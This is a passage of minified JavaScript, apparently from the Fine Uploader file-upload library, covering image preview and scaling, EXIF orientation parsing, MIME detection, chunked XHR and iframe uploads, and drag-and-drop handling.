i,o,r,a=1024,s=document.createElement("canvas"),l=u?t(n,d,p):1,c=Math.ceil(a*h/d),m=Math.ceil(a*q/p/l),g=0,_=0;for(s.width=s.height=a,i=s.getContext("2d");g<p;){for(o=0,r=0;o<d;)i.clearRect(0,0,a,a),i.drawImage(n,-o,-g),f.drawImage(s,0,0,a,a,r,_,c,m),o+=a,r+=c;g+=a,_+=m}f.restore(),s=i=null}():f.drawImage(n,0,0,h,q),s.qqImageRendered&&s.qqImageRendered(),m.success(),m)}function r(e){var t=e.blob,n=e.image,i=e.imageHeight,o=e.imageWidth,r=e.orientation,s=new qq.Promise,l=e.resize,u=document.createElement("canvas"),c=u.getContext("2d"),d=e.canvas,p=e.targetHeight,h=e.targetWidth;return a(u,o,i,r),d.height=p,d.width=h,c.drawImage(n,0,0),l({blob:t,height:p,image:n,sourceCanvas:u,targetCanvas:d,width:h}).then(function(){d.qqImageRendered&&d.qqImageRendered(),s.success()},s.failure),s}function a(e,t,n,i){switch(i){case 5:case 6:case 7:case 8:e.width=n,e.height=t;break;default:e.width=t,e.height=n}var o=e.getContext("2d");switch(i){case 2:o.translate(t,0),o.scale(-1,1);break;case 3:o.translate(t,n),o.rotate(Math.PI);break;case 4:o.translate(0,n),o.scale(1,-1);break;case 5:o.rotate(.5*Math.PI),o.scale(1,-1);break;case 6:o.rotate(.5*Math.PI),o.translate(0,-n);break;case 7:o.rotate(.5*Math.PI),o.translate(t,-n),o.scale(-1,1);break;case 8:o.rotate(-.5*Math.PI),o.translate(-t,0)}}function s(e,t){var n=this;window.Blob&&e instanceof Blob&&!function(){var t=new Image,i=window.URL&&window.URL.createObjectURL?window.URL:window.webkitURL&&window.webkitURL.createObjectURL?window.webkitURL:null;if(!i)throw Error("No createObjectURL function found to create blob url");t.src=i.createObjectURL(e),n.blob=e,e=t}(),e.naturalWidth||e.naturalHeight||(e.onload=function(){var e=n.imageLoadListeners;e&&(n.imageLoadListeners=null,setTimeout(function(){for(var t=0,n=e.length;t<n;t++)e[t]()},0))},e.onerror=t,this.imageLoadListeners=[]),this.srcImage=e}s.prototype.render=function(e,t){t=t||{};var i,r=this,a=this.srcImage.naturalWidth,s=this.srcImage.naturalHeight,l=t.width,u=t.height,c=t.maxWidth,d=t.maxHeight,p=!this.blob||"image/jpeg"===this.blob.type,h=e.tagName.toLowerCase();return this.imageLoadListeners?void this.imageLoadListeners.push(function(){r.render(e,t)}):(l&&!u?u=s*l/a<<0:u&&!l?l=a*u/s<<0:(l=a,u=s),c&&l>c&&(l=c,u=s*l/a<<0),d&&u>d&&(u=d,l=a*u/s<<0),i={width:l,height:u},qq.each(t,function(e,t){i[e]=t}),"img"===h?!function(){var t=e.src;n(r.srcImage,r.blob,i,p).then(function(n){e.src=n,t===e.src&&e.onload()})}():"canvas"===h&&o(this.srcImage,this.blob,e,i,p),void("function"==typeof this.onrender&&this.onrender(e)))},qq.MegaPixImage=s}(),qq.ImageGenerator=function(e){"use strict";function t(e){return"img"===e.tagName.toLowerCase()}function n(e){return"canvas"===e.tagName.toLowerCase()}function i(){return void 0!==(new Image).crossOrigin}function o(){var e=document.createElement("canvas");return e.getContext&&e.getContext("2d")}function r(e){var t=e.split("/"),n=t[t.length-1].split("?")[0],i=qq.getExtension(n);switch(i=i&&i.toLowerCase()){case"jpeg":case"jpg":return"image/jpeg";case"png":return"image/png";case"bmp":return"image/bmp";case"gif":return"image/gif";case"tiff":case"tif":return"image/tiff"}}function a(e){var t,n,i,o=document.createElement("a");return o.href=e,t=o.protocol,i=o.port,n=o.hostname,t.toLowerCase()!==window.location.protocol.toLowerCase()||(n.toLowerCase()!==window.location.hostname.toLowerCase()||i!==window.location.port&&!qq.ie())}function s(t,n){t.onload=function(){t.onload=null,t.onerror=null,n.success(t)},t.onerror=function(){t.onload=null,t.onerror=null,e("Problem drawing thumbnail!","error"),n.failure(t,"Problem drawing thumbnail!")}}function l(e,t){e.qqImageRendered=function(){t.success(e)}}function u(i,o){var r=t(i)||n(i);return t(i)?s(i,o):n(i)?l(i,o):(o.failure(i),e(qq.format("Element container of type {} is not supported!",i.tagName),"error")),r}function c(t,n,i){var o=new qq.Promise,r=new qq.Identify(t,e),a=i.maxSize,s=null==i.orient||i.orient,l=function(){n.onerror=null,n.onload=null,e("Could not render preview, file may be too large!","error"),o.failure(n,"Browser cannot render image!")};return r.isPreviewable().then(function(r){var c={parse:function(){return(new qq.Promise).success()}},d=s?new qq.Exif(t,e):c,p=new qq.MegaPixImage(t,l);u(n,o)&&d.parse().then(function(e){var t=e&&e.Orientation;p.render(n,{maxWidth:a,maxHeight:a,orientation:t,mime:r,resize:i.customResizeFunction})},function(t){e(qq.format("EXIF data could not be parsed ({}).  Assuming orientation = 1.",t)),p.render(n,{maxWidth:a,maxHeight:a,mime:r,resize:i.customResizeFunction})})},function(){e("Not previewable"),o.failure(n,"Not previewable")}),o}function d(e,t,n,i,o){var s=new Image,l=new qq.Promise;u(s,l),a(e)&&(s.crossOrigin="anonymous"),s.src=e,l.then(function(){u(t,n);var a=new qq.MegaPixImage(s);a.render(t,{maxWidth:i,maxHeight:i,mime:r(e),resize:o})},n.failure)}function p(e,t,n,i){u(t,n),qq(t).css({maxWidth:i+"px",maxHeight:i+"px"}),t.src=e}function h(e,r,s){var l=new qq.Promise,c=s.scale,h=c?s.maxSize:null;return c&&t(r)?o()?a(e)&&!i()?p(e,r,l,h):d(e,r,l,h):p(e,r,l,h):n(r)?d(e,r,l,h):u(r,l)&&(r.src=e),l}qq.extend(this,{generate:function(t,n,i){return qq.isString(t)?(e("Attempting to update thumbnail based on server response."),h(t,n,i||{})):(e("Attempting to draw client-side image preview."),c(t,n,i||{}))}}),this._testing={},this._testing.isImg=t,this._testing.isCanvas=n,this._testing.isCrossOrigin=a,this._testing.determineMimeOfFileName=r},qq.Exif=function(e,t){"use strict";function n(e){for(var t=0,n=0;e.length>0;)t+=parseInt(e.substring(0,2),16)*Math.pow(2,n),e=e.substring(2,e.length),n+=8;return t}function i(t,n){var o=t,r=n;return void 0===o&&(o=2,r=new qq.Promise),qq.readBlobToHex(e,o,4).then(function(e){var t,n=/^ffe([0-9])/.exec(e);n?"1"!==n[1]?(t=parseInt(e.slice(4,8),16),i(o+t+2,r)):r.success(o):r.failure("No EXIF header to be found!")}),r}function o(){var t=new qq.Promise;return qq.readBlobToHex(e,0,6).then(function(e){0!==e.indexOf("ffd8")?t.failure("Not a valid JPEG!"):i().then(function(e){t.success(e)},function(e){t.failure(e)})}),t}function r(t){var n=new qq.Promise;return qq.readBlobToHex(e,t+10,2).then(function(e){n.success("4949"===e)}),n}function a(t,i){var o=new qq.Promise;return qq.readBlobToHex(e,t+18,2).then(function(e){return i?o.success(n(e)):void o.success(parseInt(e,16))}),o}function s(t,n){var i=t+20,o=12*n;return qq.readBlobToHex(e,i,o)}function l(e){for(var t=[],n=0;n+24<=e.length;)t.push(e.slice(n,n+24)),n+=24;return t}function u(e,t){var i=16,o=qq.extend([],c),r={};return qq.each(t,function(t,a){var s,l,u,c=a.slice(0,4),p=e?n(c):parseInt(c,16),h=o.indexOf(p);if(h>=0&&(l=d[p].name,u=d[p].bytes,s=a.slice(i,i+2*u),r[l]=e?n(s):parseInt(s,16),o.splice(h,1)),0===o.length)return!1}),r}var c=[274],d={274:{name:"Orientation",bytes:2}};qq.extend(this,{parse:function(){var n=new qq.Promise,i=function(e){t(qq.format("EXIF header parse failed: '{}' ",e)),n.failure(e)};return o().then(function(o){t(qq.format("Moving forward with EXIF header parsing for '{}'",void 0===e.name?"blob":e.name)),r(o).then(function(e){t(qq.format("EXIF Byte order is {} endian",e?"little":"big")),a(o,e).then(function(r){t(qq.format("Found {} APP1 directory entries",r)),s(o,r).then(function(i){var o=l(i),r=u(e,o);t("Successfully parsed some EXIF tags"),n.success(r)},i)},i)},i)},i),n}}),this._testing={},this._testing.parseLittleEndian=n},qq.Identify=function(e,t){"use strict";function n(e,t){var n=!1,i=[].concat(e);return qq.each(i,function(e,i){if(0===t.indexOf(i))return n=!0,!1}),n}qq.extend(this,{isPreviewable:function(){var i=this,o=new qq.Promise,r=!1,a=void 0===e.name?"blob":e.name;return t(qq.format("Attempting to determine if {} can be rendered in this browser",a)),t("First pass: check type attribute of blob object."),this.isPreviewableSync()?(t("Second pass: check for magic bytes in file header."),qq.readBlobToHex(e,0,4).then(function(e){qq.each(i.PREVIEWABLE_MIME_TYPES,function(t,i){if(n(i,e))return("image/tiff"!==t||qq.supportedFeatures.tiffPreviews)&&(r=!0,o.success(t)),!1}),t(qq.format("'{}' is {} able to be rendered in this browser",a,r?"":"NOT")),r||o.failure()},function(){t("Error reading file w/ name '"+a+"'.  Not able to be rendered in this browser."),o.failure()})):o.failure(),o},isPreviewableSync:function(){var n=e.type,i=qq.indexOf(Object.keys(this.PREVIEWABLE_MIME_TYPES),n)>=0,o=!1,r=void 0===e.name?"blob":e.name;return i&&(o="image/tiff"!==n||qq.supportedFeatures.tiffPreviews),!o&&t(r+" is not previewable in this browser per the blob's type attr"),o}})},qq.Identify.prototype.PREVIEWABLE_MIME_TYPES={"image/jpeg":"ffd8ff","image/gif":"474946","image/png":"89504e","image/bmp":"424d","image/tiff":["49492a00","4d4d002a"]},qq.Identify=function(e,t){"use strict";function n(e,t){var n=!1,i=[].concat(e);return qq.each(i,function(e,i){if(0===t.indexOf(i))return n=!0,!1}),n}qq.extend(this,{isPreviewable:function(){var i=this,o=new qq.Promise,r=!1,a=void 0===e.name?"blob":e.name;return t(qq.format("Attempting to determine if {} can be rendered in this browser",a)),t("First pass: check type attribute of blob object."),this.isPreviewableSync()?(t("Second pass: check for magic bytes in file header."),qq.readBlobToHex(e,0,4).then(function(e){qq.each(i.PREVIEWABLE_MIME_TYPES,function(t,i){if(n(i,e))return("image/tiff"!==t||qq.supportedFeatures.tiffPreviews)&&(r=!0,o.success(t)),!1}),t(qq.format("'{}' is {} able to be rendered in this browser",a,r?"":"NOT")),r||o.failure()},function(){t("Error reading file w/ name '"+a+"'.  Not able to be rendered in this browser."),o.failure()})):o.failure(),o},isPreviewableSync:function(){var n=e.type,i=qq.indexOf(Object.keys(this.PREVIEWABLE_MIME_TYPES),n)>=0,o=!1,r=void 0===e.name?"blob":e.name;return i&&(o="image/tiff"!==n||qq.supportedFeatures.tiffPreviews),!o&&t(r+" is not previewable in this browser per the blob's type attr"),o}})},qq.Identify.prototype.PREVIEWABLE_MIME_TYPES={"image/jpeg":"ffd8ff","image/gif":"474946","image/png":"89504e","image/bmp":"424d","image/tiff":["49492a00","4d4d002a"]},qq.ImageValidation=function(e,t){"use strict";function n(e){var t=!1;return qq.each(e,function(e,n){if(n>0)return t=!0,!1}),t}function i(){var n=new qq.Promise;return new qq.Identify(e,t).isPreviewable().then(function(){var i=new Image,o=window.URL&&window.URL.createObjectURL?window.URL:window.webkitURL&&window.webkitURL.createObjectURL?window.webkitURL:null;o?(i.onerror=function(){t("Cannot determine dimensions for image.  May be too large.","error"),n.failure()},i.onload=function(){n.success({width:this.width,height:this.height})},i.src=o.createObjectURL(e)):(t("No createObjectURL function available to generate image URL!","error"),n.failure())},n.failure),n}function o(e,t){var n;return qq.each(e,function(e,i){if(i>0){var o=/(max|min)(Width|Height)/.exec(e),r=o[2].charAt(0).toLowerCase()+o[2].slice(1),a=t[r];switch(o[1]){case"min":if(a<i)return n=e,!1;break;case"max":if(a>i)return n=e,!1}}}),n}this.validate=function(e){var r=new qq.Promise;return t("Attempting to validate image."),n(e)?i().then(function(t){var n=o(e,t);n?r.failure(n):r.success()},r.success):r.success(),r}},qq.Session=function(e){"use strict";function t(e){return!!qq.isArray(e)||void i.log("Session response is not an array.","error")}function n(e,n,o,r){var a=!1;n=n&&t(e),n&&qq.each(e,function(e,t){if(null==t.uuid)a=!0,i.log(qq.format("Session response item {} did not include a valid UUID - ignoring.",e),"error");else if(null==t.name)a=!0,i.log(qq.format("Session response item {} did not include a valid name - ignoring.",e),"error");else try{return i.addFileRecord(t),!0}catch(e){a=!0,i.log(e.message,"error")}return!1}),r[n&&!a?"success":"failure"](e,o)}var i={endpoint:null,params:{},customHeaders:{},cors:{},addFileRecord:function(e){},log:function(e,t){}};qq.extend(i,e,!0),this.refresh=function(){var e=new qq.Promise,t=function(t,i,o){n(t,i,o,e)},o=qq.extend({},i),r=new qq.SessionAjaxRequester(qq.extend(o,{onComplete:t}));return r.queryServer(),e}},qq.SessionAjaxRequester=function(e){"use strict";function t(e,t,n){var o=null;if(null!=t.responseText)try{o=qq.parseJson(t.responseText)}catch(e){i.log("Problem parsing session response: "+e.message,"error"),n=!0}i.onComplete(o,!n,t)}var n,i={endpoint:null,customHeaders:{},params:{},cors:{expected:!1,sendCredentials:!1},onComplete:function(e,t,n){},log:function(e,t){}};qq.extend(i,e),n=qq.extend(this,new qq.AjaxRequester({acceptHeader:"application/json",validMethods:["GET"],method:"GET",endpointStore:{get:function(){return i.endpoint}},customHeaders:i.customHeaders,log:i.log,onComplete:t,cors:i.cors})),qq.extend(this,{queryServer:function(){var e=qq.extend({},i.params);i.log("Session query request."),n.initTransport("sessionRefresh").withParams(e).withCacheBuster().send()}})},qq.Scaler=function(e,t){"use strict";var n=e.customResizer,i=e.sendOriginal,o=e.orient,r=e.defaultType,a=e.defaultQuality/100,s=e.failureText,l=e.includeExif,u=this._getSortedSizes(e.sizes);qq.extend(this,{enabled:qq.supportedFeatures.scaling&&u.length>0,getFileRecords:function(e,c,d){var p=this,h=[],q=d.blob?d.blob:d,f=new qq.Identify(q,t);return f.isPreviewableSync()?(qq.each(u,function(e,i){var u=p._determineOutputType({defaultType:r,requestedType:i.type,refType:q.type});h.push({uuid:qq.getUniqueId(),name:p._getName(c,{name:i.name,type:u,refType:q.type}),blob:new qq.BlobProxy(q,qq.bind(p._generateScaledImage,p,{customResizeFunction:n,maxSize:i.maxSize,orient:o,type:u,quality:a,failedText:s,includeExif:l,log:t}))})}),h.push({uuid:e,name:c,size:q.size,blob:i?q:null})):h.push({uuid:e,name:c,size:q.size,blob:q}),h},handleNewFile:function(e,t,n,i,o,r,a,s){var l=this,u=(e.qqButtonId||e.blob&&e.blob.qqButtonId,[]),c=null,d=s.addFileToHandler,p=s.uploadData,h=s.paramsStore,q=qq.getUniqueId();qq.each(l.getFileRecords(n,t,e),function(e,t){var n,i=t.size;t.blob instanceof qq.BlobProxy&&(i=-1),n=p.addFile({uuid:t.uuid,name:t.name,size:i,batchId:r,proxyGroupId:q}),t.blob instanceof qq.BlobProxy?u.push(n):c=n,t.blob?(d(n,t.blob),o.push({id:n,file:t.blob})):p.setStatus(n,qq.status.REJECTED)}),null!==c&&(qq.each(u,function(e,t){var n={qqparentuuid:p.retrieve({id:c}).uuid,qqparentsize:p.retrieve({id:c}).size};n[a]=p.retrieve({id:t}).uuid,p.setParentId(t,c),h.addReadOnly(t,n)}),u.length&&!function(){var e={};e[a]=p.retrieve({id:c}).uuid,h.addReadOnly(c,e)}())}})},qq.extend(qq.Scaler.prototype,{scaleImage:function(e,t,n){"use strict";if(!qq.supportedFeatures.scaling)throw new qq.Error("Scaling is not supported in this browser!");var i=new qq.Promise,o=n.log,r=n.getFile(e),a=n.uploadData.retrieve({id:e}),s=a&&a.name,l=a&&a.uuid,u={customResizer:t.customResizer,sendOriginal:!1,orient:t.orient,defaultType:t.type||null,defaultQuality:t.quality,failedToScaleText:"Unable to scale",sizes:[{name:"",maxSize:t.maxSize}]},c=new qq.Scaler(u,o);return qq.Scaler&&qq.supportedFeatures.imagePreviews&&r?qq.bind(function(){var t=c.getFileRecords(l,s,r)[0];t&&t.blob instanceof qq.BlobProxy?t.blob.create().then(i.success,i.failure):(o(e+" is not a scalable image!","error"),i.failure())},this)():(i.failure(),o("Could not generate requested scaled image for "+e+".  Scaling is either not possible in this browser, or the file could not be located.","error")),i},_determineOutputType:function(e){"use strict";var t=e.requestedType,n=e.defaultType,i=e.refType;return n||t?t&&qq.indexOf(Object.keys(qq.Identify.prototype.PREVIEWABLE_MIME_TYPES),t)>=0?"image/tiff"===t?qq.supportedFeatures.tiffPreviews?t:n:t:n:"image/jpeg"!==i?"image/png":i},_getName:function(e,t){"use strict";var n=e.lastIndexOf("."),i=t.type||"image/png",o=t.refType,r="",a=qq.getExtension(e),s="";return t.name&&t.name.trim().length&&(s=" ("+t.name+")"),n>=0?(r=e.substr(0,n),o!==i&&(a=i.split("/")[1]),r+=s+"."+a):r=e+s,r},_getSortedSizes:function(e){"use strict";return e=qq.extend([],e),e.sort(function(e,t){return e.maxSize>t.maxSize?1:e.maxSize<t.maxSize?-1:0})},_generateScaledImage:function(e,t){"use strict";var n=this,i=e.customResizeFunction,o=e.log,r=e.maxSize,a=e.orient,s=e.type,l=e.quality,u=e.failedText,c=e.includeExif&&"image/jpeg"===t.type&&"image/jpeg"===s,d=new qq.Promise,p=new qq.ImageGenerator(o),h=document.createElement("canvas");return o("Attempting to generate scaled version for "+t.name),p.generate(t,h,{maxSize:r,orient:a,customResizeFunction:i}).then(function(){var e=h.toDataURL(s,l),i=function(){o("Success generating scaled version for "+t.name);var n=qq.dataUriToBlob(e);d.success(n)};c?n._insertExifHeader(t,e,o).then(function(t){e=t,i()},function(){o("Problem inserting EXIF header into scaled image.  Using scaled image w/out EXIF data.","error"),i()}):i()},function(){o("Failed attempt to generate scaled version for "+t.name,"error"),d.failure(u)}),d},_insertExifHeader:function(e,t,n){"use strict";var i=new FileReader,o=new qq.Promise,r="";return i.onload=function(){r=i.result,o.success(qq.ExifRestorer.restore(r,t))},i.onerror=function(){n("Problem reading "+e.name+" during attempt to transfer EXIF data to scaled version.","error"),o.failure()},i.readAsDataURL(e),o},_dataUriToBlob:function(e){"use strict";var t,n,i,o;return t=e.split(",")[0].indexOf("base64")>=0?atob(e.split(",")[1]):decodeURI(e.split(",")[1]),n=e.split(",")[0].split(":")[1].split(";")[0],i=new ArrayBuffer(t.length),o=new Uint8Array(i),qq.each(t,function(e,t){o[e]=t.charCodeAt(0)}),this._createBlob(i,n)},_createBlob:function(e,t){"use strict";var n=window.BlobBuilder||window.WebKitBlobBuilder||window.MozBlobBuilder||window.MSBlobBuilder,i=n&&new n;return i?(i.append(e),i.getBlob(t)):new Blob([e],{type:t})}}),qq.ExifRestorer=function(){var e={};return e.KEY_STR="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",e.encode64=function(e){var t,n,i,o,r,a="",s="",l="",u=0;do t=e[u++],n=e[u++],s=e[u++],i=t>>2,o=(3&t)<<4|n>>4,r=(15&n)<<2|s>>6,l=63&s,isNaN(n)?r=l=64:isNaN(s)&&(l=64),a=a+this.KEY_STR.charAt(i)+this.KEY_STR.charAt(o)+this.KEY_STR.charAt(r)+this.KEY_STR.charAt(l),t=n=s="",i=o=r=l="";while(u<e.length);return a},e.restore=function(e,t){var n="data:image/jpeg;base64,";if(!e.match(n))return t;var i=this.decode64(e.replace(n,"")),o=this.slice2Segments(i),r=this.exifManipulation(t,o);return n+this.encode64(r)},e.exifManipulation=function(e,t){var n=this.getExifArray(t),i=this.insertExif(e,n),o=new Uint8Array(i);return o},e.getExifArray=function(e){for(var t,n=0;n<e.length;n++)if(t=e[n],255==t[0]&225==t[1])return t;return[]},e.insertExif=function(e,t){var n=e.replace("data:image/jpeg;base64,",""),i=this.decode64(n),o=i.indexOf(255,3),r=i.slice(0,o),a=i.slice(o),s=r;return s=s.concat(t),s=s.concat(a)},e.slice2Segments=function(e){for(var t=0,n=[];;){if(255==e[t]&218==e[t+1])break;if(255==e[t]&216==e[t+1])t+=2;else{var i=256*e[t+2]+e[t+3],o=t+i+2,r=e.slice(t,o);n.push(r),t=o}if(t>e.length)break}return n},e.decode64=function(e){var t,n,i,o,r,a="",s="",l=0,u=[],c=/[^A-Za-z0-9\+\/\=]/g;if(c.exec(e))throw new Error("There were invalid base64 characters in the input text.  Valid base64 characters are A-Z, a-z, 0-9, '+', '/',and '='");e=e.replace(/[^A-Za-z0-9\+\/\=]/g,"");do i=this.KEY_STR.indexOf(e.charAt(l++)),o=this.KEY_STR.indexOf(e.charAt(l++)),r=this.KEY_STR.indexOf(e.charAt(l++)),s=this.KEY_STR.indexOf(e.charAt(l++)),t=i<<2|o>>4,n=(15&o)<<4|r>>2,a=(3&r)<<6|s,u.push(t),64!=r&&u.push(n),64!=s&&u.push(a),t=n=a="",i=o=r=s="";while(l<e.length);return u},e}(),qq.TotalProgress=function(e,t){"use strict";var n={},i=0,o=0,r=-1,a=-1,s=function(t,n){t===r&&n===a||e(t,n),r=t,a=n},l=function(e,t){var n=!0;return qq.each(e,function(e,i){if(qq.indexOf(t,i)>=0)return n=!1,!1}),n},u=function(e){p(e,-1,-1),delete n[e]},c=function(e,t,n){(0===t.length||l(t,n))&&(s(o,o),this.reset())},d=function(e){var i=t(e);i>0&&(p(e,0,i),n[e]={loaded:0,total:i})},p=function(e,t,r){var a=n[e]?n[e].loaded:0,l=n[e]?n[e].total:0;t===-1&&r===-1?(i-=a,o-=l):(t&&(i+=t-a),r&&(o+=r-l)),s(i,o)};qq.extend(this,{onAllComplete:c,
onStatusChange:function(e,t,n){n===qq.status.CANCELED||n===qq.status.REJECTED?u(e):n===qq.status.SUBMITTING&&d(e)},onIndividualProgress:function(e,t,i){p(e,t,i),n[e]={loaded:t,total:i}},onNewSize:function(e){d(e)},reset:function(){n={},i=0,o=0}})},qq.PasteSupport=function(e){"use strict";function t(e){return e.type&&0===e.type.indexOf("image/")}function n(){r=qq(o.targetElement).attach("paste",function(e){var n=e.clipboardData;n&&qq.each(n.items,function(e,n){if(t(n)){var i=n.getAsFile();o.callbacks.pasteReceived(i)}})})}function i(){r&&r()}var o,r;o={targetElement:null,callbacks:{log:function(e,t){},pasteReceived:function(e){}}},qq.extend(o,e),n(),qq.extend(this,{reset:function(){i()}})},qq.FormSupport=function(e,t,n){"use strict";function i(e){e.getAttribute("action")&&(s.newEndpoint=e.getAttribute("action"))}function o(e,t){return!(e.checkValidity&&!e.checkValidity())||(n("Form did not pass validation checks - will not upload.","error"),void t())}function r(e){var n=e.submit;qq(e).attach("submit",function(i){i=i||window.event,i.preventDefault?i.preventDefault():i.returnValue=!1,o(e,n)&&t()}),e.submit=function(){o(e,n)&&t()}}function a(e){return e&&(qq.isString(e)&&(e=document.getElementById(e)),e&&(n("Attaching to form element."),i(e),l&&r(e))),e}var s=this,l=e.interceptSubmit,u=e.element,c=e.autoUpload;qq.extend(this,{newEndpoint:null,newAutoUpload:c,attachedToForm:!1,getFormInputsAsObject:function(){return null==u?null:s._form2Obj(u)}}),u=a(u),this.attachedToForm=!!u},qq.extend(qq.FormSupport.prototype,{_form2Obj:function(e){"use strict";var t={},n=function(e){var t=["button","image","reset","submit"];return qq.indexOf(t,e.toLowerCase())<0},i=function(e){return qq.indexOf(["checkbox","radio"],e.toLowerCase())>=0},o=function(e){return!(!i(e.type)||e.checked)||e.disabled&&"hidden"!==e.type.toLowerCase()},r=function(e){var t=null;return qq.each(qq(e).children(),function(e,n){if("option"===n.tagName.toLowerCase()&&n.selected)return t=n.value,!1}),t};return qq.each(e.elements,function(e,i){if(!qq.isInput(i,!0)&&"textarea"!==i.tagName.toLowerCase()||!n(i.type)||o(i)){if("select"===i.tagName.toLowerCase()&&!o(i)){var a=r(i);null!==a&&(t[i.name]=a)}}else t[i.name]=i.value}),t}}),qq.traditional=qq.traditional||{},qq.traditional.FormUploadHandler=function(e,t){"use strict";function n(e,t){var n,i,r;try{i=t.contentDocument||t.contentWindow.document,r=i.body.innerHTML,s("converting iframe's innerHTML to JSON"),s("innerHTML = "+r),r&&r.match(/^<pre/i)&&(r=i.body.firstChild.firstChild.nodeValue),n=o._parseJsonResponse(r)}catch(e){s("Error when attempting to parse form upload response ("+e.message+")","error"),n={success:!1}}return n}function i(t,n){var i=e.paramsStore.get(t),s="get"===e.method.toLowerCase()?"GET":"POST",l=e.endpointStore.get(t),u=r(t);return i[e.uuidName]=a(t),i[e.filenameParam]=u,o._initFormForUpload({method:s,endpoint:l,params:i,paramsInBody:e.paramsInBody,targetName:n.name})}var o=this,r=t.getName,a=t.getUuid,s=t.log;this.uploadFile=function(t){var r,a=o.getInput(t),l=o._createIframe(t),u=new qq.Promise;return r=i(t,l),r.appendChild(a),o._attachLoadEvent(l,function(i){s("iframe loaded");var r=i?i:n(t,l);o._detachLoadEvent(t),e.cors.expected||qq(l).remove(),r.success?u.success(r):u.failure(r)}),s("Sending upload request for "+t),r.submit(),qq(r).remove(),u},qq.extend(this,new qq.FormUploadHandler({options:{isCors:e.cors.expected,inputName:e.inputName},proxy:{onCancel:e.onCancel,getName:r,getUuid:a,log:s}}))},qq.traditional=qq.traditional||{},qq.traditional.XhrUploadHandler=function(e,t){"use strict";var n=this,i=t.getName,o=t.getSize,r=t.getUuid,a=t.log,s=e.forceMultipart||e.paramsInBody,l=function(t,n,r){var a=o(t),l=i(t);n[e.chunking.paramNames.partIndex]=r.part,n[e.chunking.paramNames.partByteOffset]=r.start,n[e.chunking.paramNames.chunkSize]=r.size,n[e.chunking.paramNames.totalParts]=r.count,n[e.totalFileSizeName]=a,s&&(n[e.filenameParam]=l)},u=new qq.traditional.AllChunksDoneAjaxRequester({cors:e.cors,endpoint:e.chunking.success.endpoint,log:a}),c=function(e,t){var n=new qq.Promise;return t.onreadystatechange=function(){if(4===t.readyState){var i=h(e,t);i.success?n.success(i.response,t):n.failure(i.response,t)}},n},d=function(t){var a=e.paramsStore.get(t),s=i(t),l=o(t);return a[e.uuidName]=r(t),a[e.filenameParam]=s,a[e.totalFileSizeName]=l,a[e.chunking.paramNames.totalParts]=n._getTotalChunks(t),a},p=function(e,t){return qq.indexOf([200,201,202,203,204],e.status)<0||!t.success||t.reset},h=function(e,t){var n;return a("xhr - server response received for "+e),a("responseText = "+t.responseText),n=q(!0,t),{success:!p(t,n),response:n}},q=function(e,t){var n={};try{a(qq.format("Received response status {} with body: {}",t.status,t.responseText)),n=qq.parseJson(t.responseText)}catch(t){e&&a("Error when attempting to parse xhr response text ("+t.message+")","error")}return n},f=function(t){var i=new qq.Promise;return u.complete(t,n._createXhr(t),d(t),e.customHeaders.get(t)).then(function(e){i.success(q(!1,e),e)},function(e){i.failure(q(!1,e),e)}),i},m=function(t,n,a,l){var u=new FormData,c=e.method,d=e.endpointStore.get(l),p=i(l),h=o(l);return t[e.uuidName]=r(l),t[e.filenameParam]=p,s&&(t[e.totalFileSizeName]=h),e.paramsInBody||(s||(t[e.inputName]=p),d=qq.obj2url(t,d)),n.open(c,d,!0),e.cors.expected&&e.cors.sendCredentials&&(n.withCredentials=!0),s?(e.paramsInBody&&qq.obj2FormData(t,u),u.append(e.inputName,a),u):a},g=function(t,i){var o=e.customHeaders.get(t),r=n.getFile(t);i.setRequestHeader("Accept","application/json"),i.setRequestHeader("X-Requested-With","XMLHttpRequest"),i.setRequestHeader("Cache-Control","no-cache"),s||(i.setRequestHeader("Content-Type","application/octet-stream"),i.setRequestHeader("X-Mime-Type",r.type)),qq.each(o,function(e,t){i.setRequestHeader(e,t)})};qq.extend(this,{uploadChunk:function(t,i,r){var a,s,u,d=n._getChunkData(t,i),p=n._createXhr(t,i);o(t);return a=c(t,p),n._registerProgressHandler(t,i,d.size),u=e.paramsStore.get(t),l(t,u,d),r&&(u[e.resume.paramNames.resuming]=!0),s=m(u,p,d.blob,t),g(t,p),p.send(s),a},uploadFile:function(t){var i,o,r,a,s=n.getFile(t);return o=n._createXhr(t),n._registerProgressHandler(t),i=c(t,o),r=e.paramsStore.get(t),a=m(r,o,s,t),g(t,o),o.send(a),i}}),qq.extend(this,new qq.XhrUploadHandler({options:qq.extend({namespace:"traditional"},e),proxy:qq.extend({getEndpoint:e.endpointStore.get},t)})),qq.override(this,function(t){return{finalizeChunks:function(n){return e.chunking.success.endpoint?f(n):t.finalizeChunks(n,qq.bind(q,this,!0))}}})},qq.traditional.AllChunksDoneAjaxRequester=function(e){"use strict";var t,n="POST",i={cors:{allowXdr:!1,expected:!1,sendCredentials:!1},endpoint:null,log:function(e,t){}},o={},r={get:function(e){return i.endpoint}};qq.extend(i,e),t=qq.extend(this,new qq.AjaxRequester({acceptHeader:"application/json",validMethods:[n],method:n,endpointStore:r,allowXRequestedWithAndCacheControl:!1,cors:i.cors,log:i.log,onComplete:function(e,t,n){var i=o[e];delete o[e],n?i.failure(t):i.success(t)}})),qq.extend(this,{complete:function(e,n,r,a){var s=new qq.Promise;return i.log("Submitting All Chunks Done request for "+e),o[e]=s,t.initTransport(e).withParams(r).withHeaders(a).send(n),s}})},qq.DragAndDrop=function(e){"use strict";function t(e,t){var n=Array.prototype.slice.call(e);u.callbacks.dropLog("Grabbed "+e.length+" dropped files."),t.dropDisabled(!1),u.callbacks.processingDroppedFilesComplete(n,t.getElement())}function n(e){var t=new qq.Promise;return e.isFile?e.file(function(n){var i=e.name,o=e.fullPath,r=o.indexOf(i);o=o.substr(0,r),"/"===o.charAt(0)&&(o=o.substr(1)),n.qqPath=o,h.push(n),t.success()},function(n){u.callbacks.dropLog("Problem parsing '"+e.fullPath+"'.  FileError code "+n.code+".","error"),t.failure()}):e.isDirectory&&i(e).then(function(e){var i=e.length;qq.each(e,function(e,o){n(o).done(function(){i-=1,0===i&&t.success()})}),e.length||t.success()},function(n){u.callbacks.dropLog("Problem parsing '"+e.fullPath+"'.  FileError code "+n.code+".","error"),t.failure()}),t}function i(e,t,n,o){var r=o||new qq.Promise,a=t||e.createReader();return a.readEntries(function(t){var o=n?n.concat(t):t;t.length?setTimeout(function(){i(e,a,o,r)},0):r.success(o)},r.failure),r}function o(e,t){var i=[],o=new qq.Promise;return 